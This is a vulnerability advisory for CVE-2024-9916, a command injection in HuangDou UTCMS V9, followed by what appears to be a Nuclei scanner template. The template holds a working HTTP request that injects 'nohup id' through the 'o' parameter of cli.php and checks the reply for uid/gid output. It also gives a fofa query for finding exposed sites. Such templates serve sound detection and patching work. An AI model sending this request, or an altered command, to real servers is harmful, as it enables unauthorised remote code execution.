A vulnerability, which was classified as critical, has been found in HuangDou UTCMS V9. Affected by this issue is some unknown functionality of the file app/modules/ut-cac/admin/cli.php. The manipulation of the argument o leads to os command injection.The attack may be launched remotely. The exploit has been disclosed to the public and may be used.The vendor was contacted early about this disclosure but did not respond in any way.
PoC代码[已公开]
id: CVE-2024-9916
info:
name: HuangDou UTCMS V9 - OS Command Injection
author: iamnoooob,pdresearch
severity: high
description: |
A vulnerability, which was classified as critical, has been found in HuangDou UTCMS V9. Affected by this issue is some unknown functionality of the file app/modules/ut-cac/admin/cli.php. The manipulation of the argument o leads to os command injection.The attack may be launched remotely. The exploit has been disclosed to the public and may be used.The vendor was contacted early about this disclosure but did not respond in any way.
reference:
- https://vuldb.com/?ctiid.280244
- https://nvd.nist.gov/vuln/detail/CVE-2024-9916
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
cvss-score: 7.3
cve-id: CVE-2024-9916
cwe-id: CWE-78
epss-score: 0.73416
epss-percentile: 0.98761
cpe: cpe:2.3:a:usualtool:usualtoolcms:9.0:*:*:*:*:*:*:*
metadata:
vendor: usualtool
product: usualtoolcms
verified: true
max-request: 1
fofa-query: body="usualtool"
tags: cve,cve2024,huangdou,utc,rce,php,vkev
http:
- raw:
- |
POST /app/modules/ut-cac/admin/cli.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
o=nohup id
matchers-condition: and
matchers:
- type: word
part: body
words:
- '~]#nohup id run complete.'
- 'uid='
- 'gid='
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100f793922eff5c08384f2e1d7e63b8c474fb44974e1b3a10a5366197d1b884950d02210081c8fbc5a97cf784f0217065924db889ff33f25284913d982f4979e269b516c1:922c64590222798bb761d5b6d8e72950